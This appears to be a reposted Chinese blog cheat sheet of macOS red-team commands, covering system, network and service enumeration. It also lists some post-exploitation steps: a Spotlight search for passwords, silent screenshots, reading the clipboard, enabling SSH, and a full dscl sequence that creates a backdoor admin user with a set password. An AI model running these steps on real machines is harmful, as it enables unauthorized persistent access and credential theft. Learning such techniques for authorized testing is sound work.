MacOS紅隊常用攻擊命令

MacOS紅隊常用攻擊命令

  • 1.自動化武器
  • 2.系統信息
  • 3.服務 & 內核信息
  • 4.快捷命令
  • 5.網絡相關
  • 6.brew相關 / 軟件包相關
  • 7.高權限命令
  • 8.創建一個管理員權限的后門用戶

1.自動化武器

1、linPEAS

LinPEAS 是一個腳本,用于在 Linux/Unix/MacOS 主機上搜索提權路徑

2、metasploit攻擊腳本

3、SwiftBelt

macOS 系統上的枚舉工具


2.系統信息

# 查看系統日期
date
# 查看日歷
cal
# 查看系統已運行時間
uptime
# 查看當前已登陸用戶
w
# 當前用戶
whoami
# 查看指定用戶詳細信息
finger root
# 完整的系統信息
uname -a
# 磁盤狀態
df

3.服務 & 內核信息

# 查看正在運行的 launchd 任務(macOS 和 iOS 系統中的系統初始化進程)
launchctl list
# 計劃任務
atq
# 內核所有配置項
sysctl -a
# 列出所有磁盤及分區
diskutil list
# top風格查看各進程網絡使用情況
nettop

system_profiler 系統報告:

system_profiler SPSoftwareDataType              # 系統信息
system_profiler SPPrintersDataType              # 打印機信息
system_profiler SPApplicationsDataType          # 已安裝的應用程序信息
system_profiler SPFrameworksDataType            # 已安裝的框架信息
system_profiler SPDeveloperToolsDataType        # 開發者工具信息
system_profiler SPStartupItemDataType           # 啟動項信息
system_profiler SPNetworkDataType               # 網絡配置能力信息
system_profiler SPFirewallDataType              # 防火墻狀態
system_profiler SPNetworkLocationDataType       # 已知網絡位置
system_profiler SPBluetoothDataType             # 藍牙信息
system_profiler SPEthernetDataType              # 以太網信息
system_profiler SPUSBDataType                   # USB 設備信息
system_profiler SPAirPortDataType               # 無線網卡(AirPort)信息

4.快捷命令

# 利用 Spotlight 搜索含有 password 的內容,全文搜索
mdfind password
# 隱藏的打開一個應用
open -a <Application Name> --hide
# 使用 TextEdit 工具打開文件 some.doc
open some.doc -a TextEdit
# 防止系統進入睡眠狀態
caffeinate &
# 截圖并保存為圖片 /tmp/ss.jpg(需要打開終端應用錄屏權限)
screencapture -x /tmp/ss.jpg
# 獲取剪切板內容
pbpaste
# 有趣的語音功能(用西班牙語語音朗讀:你好嗎)
say 你好嗎 -v diego

5.網絡相關

# 查看本機的 ARP 緩存
arp -i en0 -l -a
# 查看監聽中的端口及進程
lsof -i -P -n | grep LISTEN
# 查看掛載的 SMB 網絡共享
smbutil statshares -a
# 列出所有網絡服務
networksetup -listallnetworkservices
# 列出所有硬件接口
networksetup -listallhardwareports
# 查看wifi鏈接信息
networksetup -getinfo Wi-Fi
# 查看wifi使用的http代理
networksetup -getwebproxy Wi-Fi
# 自動代理URL
networksetup -getautoproxyurl Wi-Fi

6.brew相關 / 軟件包相關

1、brew相關

# 列出所有軟件包
brew list
# 搜索包
brew search <text>
# 包信息
brew info <formula>
# 安裝/卸載包
brew install/uninstall <formula>
# 清除舊版本包和無用文件
brew cleanup

2、軟件包相關

# 查看系統中安裝的所有應用程序,包括它們的版本、路徑、最后打開時間等詳細信息
system_profiler SPApplicationsDataType
# 列出系統中安裝的所有框架(Frameworks),比如 macOS 系統組件、動態鏈接庫等
system_profiler SPFrameworksDataType
# 列出當前系統中運行的圖形應用程序
lsappinfo list
# 列出當前用戶和系統層級的所有 launchd 服務(守護進程和代理),包括它們的服務名稱、PID(進程 ID)和最近的退出狀態
launchctl list

7.高權限命令

下面的命令需要 root 權限才可以使用:

# 手動清理未使用的內存(RAM)緩存
sudo purge
# 開啟系統的 SSH 服務,允許其他設備通過 SSH 遠程登錄這臺 Mac
sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
# 與上面相反,這條命令會關閉 SSH 服務,并禁止遠程通過 SSH 登錄
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist
# 控制內置 Apache HTTP 服務器
sudo apachectl (start|status|restart|stop)
# 清除 DNS 緩存(重置網絡域名解析用于釣魚的常用手段)
dscacheutil -flushcache
# 強制重啟 mDNSResponder 進程,效果類似于徹底刷新 DNS 緩存
sudo killall -HUP mDNSResponder

8.創建一個管理員權限的后門用戶

# 創建本地用戶 tccadmin
sudo dscl . -create /Users/tccadmin
# 設置用戶密碼為 tcc123
sudo dscl . -passwd /Users/tccadmin tcc123
# 設置用戶真實名稱
sudo dscl . -create /Users/tccadmin RealName "TCC Admin"
# 設置用戶主目錄路徑
sudo dscl . -create /Users/tccadmin NFSHomeDirectory /Users/tccadmin
# 設置默認 shell 為 zsh
sudo dscl . -create /Users/tccadmin UserShell /bin/zsh
# 設置用戶唯一ID(注意不要與現有用戶沖突)
sudo dscl . -create /Users/tccadmin UniqueID 1013
# 設置主組為 admin 組(組 ID 為 80)
sudo dscl . -create /Users/tccadmin PrimaryGroupID 80
# 將該用戶添加到 admin 管理員組中
sudo dscl . -append /Groups/admin GroupMembership tccadmin

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/901456.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/901456.shtml
英文地址,請注明出處:http://en.pswp.cn/news/901456.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【數據結構_8】棧和隊列

一、反向輸出鏈表元素 Ⅰ使用遞歸進行反向輸出 package stack; public class Test2 {static class Node{public String val;public Node next;//構造方法public Node(String val) {this.val val;this.next null;}}//利用遞歸來反向輸出鏈表public static void reverse(Nod…

Java 正則表達式綜合實戰:URL 匹配與源碼解析

在 Web 應用開發中&#xff0c;我們經常需要對 URL 進行格式驗證。今天我們結合 Java 的 Pattern 和 Matcher 類&#xff0c;深入理解正則表達式在實際應用中的強大功能&#xff0c;并剖析一段實際的 Java 示例源碼。 package com.RegExpInfo;import java.util.regex.Matcher; …

蝦分發平臺平臺優勢

平臺優勢 高效與成本優化 一鍵分發與自動化工具減少人工操作&#xff0c;加速測試周期&#xff1b;免費分發流量和透明價格套餐降低中小團隊開支。 安全與合規 自研CDN與封裝技術平衡性能與安全性&#xff0c;適配復雜分發場景&#xff1b;全球CDN網絡加速保障極速下載。 服務…

c語言學習16——內存函數

內存函數 一、memcpy使用和模擬實現1.1參數1.2 使用1.3 模擬實現 二、memmove使用和模擬實現2.1 參數2.2 使用2.3 模擬實現 三、memset使用3.1 參數3.2 使用 四、memcmp使用4.1 參數4.2 使用 一、memcpy使用和模擬實現 1.1參數 因為內存中不知道存的是什么類型的地址&#xff…

TLA:用于接觸-豐富操作的觸覺-語言-動作模型

25年3月來自三星中國研發中心、中科院自動化所和北京智源的論文“TLA: Tactile-Language-Action Model for Contact-Rich Manipulation”。 視覺-語言模型已取得顯著進展。然而&#xff0c;在語言條件下進行機器人操作以應對接觸-密集型任務方面&#xff0c;仍未得到充分探索&…

【JavaEE】SpringBoot 統一功能處理

目錄 一、攔截器1.1 使用1.1 定義攔截器1.2 注冊配置攔截器 1.2 攔截器詳解1.2.1 攔截路徑1.2.2 攔截器執?流程 1.3 適配器模式 二、統一數據返回格式2.1 簡單用法2.2 問題及解決 三、統一異常處理 一、攔截器 攔截器&#xff1a;攔截器是Spring框架提供的核?功能之?&#…

【前端實戰】使用 BroadcastChannel API 實現跨標簽頁通信

一、引言 在現代 Web 應用開發中&#xff0c;我們常常會遇到需要在不同瀏覽器標簽頁之間進行通信的需求。例如&#xff0c;在一個電商應用中&#xff0c;用戶在一個標簽頁中添加商品到購物車&#xff0c;希望在其他標簽頁中也能實時顯示購物車的更新信息。傳統的實現方式可能會…

微信小程序 - [渲染層錯誤] Uncaught TypeError: Cannot read property ‘D‘ of undefined

問題&#xff1a;[渲染層錯誤] Uncaught TypeError: Cannot read property D of undefined 解決&#xff1a; 該錯誤可能還是小程序的渲染模式有關系&#xff0c;查看app.json中是否有如下配置&#xff0c;刪除即可&#xff0c;或者降低小程序調試基礎庫版本。

【MySQL高級】事務,存儲引擎,索引(一)

Mysql高級 DQL查詢語句 反引號 模糊查詢避免%出現在開頭,會造成索引失效 order by排序先后 表名列名都需要用${}&#xff0c;他們不能帶’’ 去重統計數量 null的運算 分組函數會自動忽略null&#xff0c;不用對null進行處理 截取子串substr&#xff08;字段&#xff0c;下標…

面試篇 - GPT-1(Generative Pre-Training 1)

GPT-1&#xff08;Generative Pre-Training 1&#xff09; ?模型結構 Transformer only-decoder&#xff1a;GPT-1模型使用了一個12層的Transformer解碼器。具體細節與標準的Transformer相同&#xff0c;但位置編碼是可訓練的。 注意力機制&#xff1a; 原始Transformer的解…

ubuntu24.04 cmake 報錯 libldap-2.5.so.0 解決辦法

apt cmake有毛病 換源重新安裝 wget -O - https://apt.kitware.com/keys/kitware-archive-latest.asc 2>/dev/null | sudo apt-key add - sudo apt-add-repository "deb https://apt.kitware.com/ubuntu/ $(lsb_release -cs) main" sudo apt update sudo apt in…

ScholarCopilot:“學術副駕駛“

這里寫目錄標題 引言&#xff1a;學術寫作的痛點與 AI 的曙光ScholarCopilot 的核心武器庫&#xff1a;智能生成與精準引用智能文本生成&#xff1a;不止于“下一句”智能引用管理&#xff1a;讓引用恰到好處 揭秘背后機制&#xff1a;檢索與生成的動態協同快速上手&#xff1a…

vivo X200 Ultra前瞻系列(2):vivo X200 Ultra影像技術溝通會總結

vivo于今日(2025年4月14日)舉辦的“X系列藍圖影像技術溝通會”中,正式發布了vivo X200 Ultra,展示了其在移動影像領域的多項技術突破。以下是本次溝通會的核心內容總結: 1. 硬件革新:蔡司三焦段鏡頭與雙芯架構 蔡司三大定焦大師鏡頭: X200 Ultra采用14mm超廣角(“鷹眼”…

代碼隨想錄第17天:二叉樹

一、二叉搜索樹的最近公共祖先&#xff08;Leetcode 235&#xff09; 由于是二叉搜索樹&#xff0c;節點的值有嚴格的順序關系&#xff1a;左子樹的節點值都小于父節點&#xff0c;右子樹的節點值都大于父節點。利用這一點&#xff0c;可以在樹中更高效地找到最低公共祖先。 c…

C++中string庫常用函數超詳細解析與深度實踐

目錄 一、引言 二、基礎準備&#xff1a;頭文件與命名空間 三、string對象的創建與初始化(基礎&#xff09; 3.1 直接初始化 3.2 動態初始化&#xff08;空字符串&#xff09; 3.3 基于字符數組初始化 3.4 重復字符初始化 四、核心函數詳解 4.1 字符串長度相關 4.1.1 …

LanDiff:賦能視頻創作,語言與擴散模型的融合力量

自從 Wan 2.1 發布以來&#xff0c;AI 視頻生成領域似乎進入了一個發展瓶頸期&#xff0c;但這也讓人隱隱感到&#xff1a;“DeepSeek 時刻”即將到來&#xff01;就在前幾天&#xff0c;浙江大學與月之暗面聯合推出了一款全新的文本到視頻&#xff08;T2V&#xff09;生成模型…

【本地圖床搭建】寶塔+Docker+MinIO+PicGo+cpolar:打造本地化“黑科技”圖床方案

寫在前面&#xff1a;本博客僅作記錄學習之用&#xff0c;部分圖片來自網絡&#xff0c;如需引用請注明出處&#xff0c;同時如有侵犯您的權益&#xff0c;請聯系刪除&#xff01; 文章目錄 前言寶塔安裝DockerMinIO 安裝與設置cploar內網穿透PicGo下載與安裝typora安裝總結互動…

centos-LLM-生物信息-BioGPT-使用1

參考&#xff1a; GitHub - microsoft/BioGPT https://github.com/microsoft/BioGPT BioGPT&#xff1a;用于生物醫學文本生成和挖掘的生成式預訓練轉換器 |生物信息學簡報 |牛津學術 — BioGPT: generative pre-trained transformer for biomedical text generation and mini…

高效爬蟲:一文掌握 Crawlee 的詳細使用(web高效抓取和瀏覽器自動化庫)

更多內容請見: 爬蟲和逆向教程-專欄介紹和目錄 文章目錄 一、Crawlee概述1.1 Crawlee介紹1.2 為什么 Crawlee 是網頁抓取和爬取的首選?1.3 為什么使用 Crawlee 而不是 Scrapy1.4 Crawlee的安裝二、Crawlee的基本使用2.1 BeautifulSoupCrawler的使用方式2.2 ParselCrawler的使…

架構總覽怎么寫,才算工業級?

??系統架構文檔是整個項目最重要的起點,但很多人第一章就“寫穿了”: 不是寫得太細,就是沒有重點。想要寫出高質量、能協作、能傳承的架構文檔,這一篇會告訴你應該怎么做—— ? 架構總覽的終極目標 明確邊界、定義角色、畫清數據流 別講執行細節,別深入函數調用。 ? 架…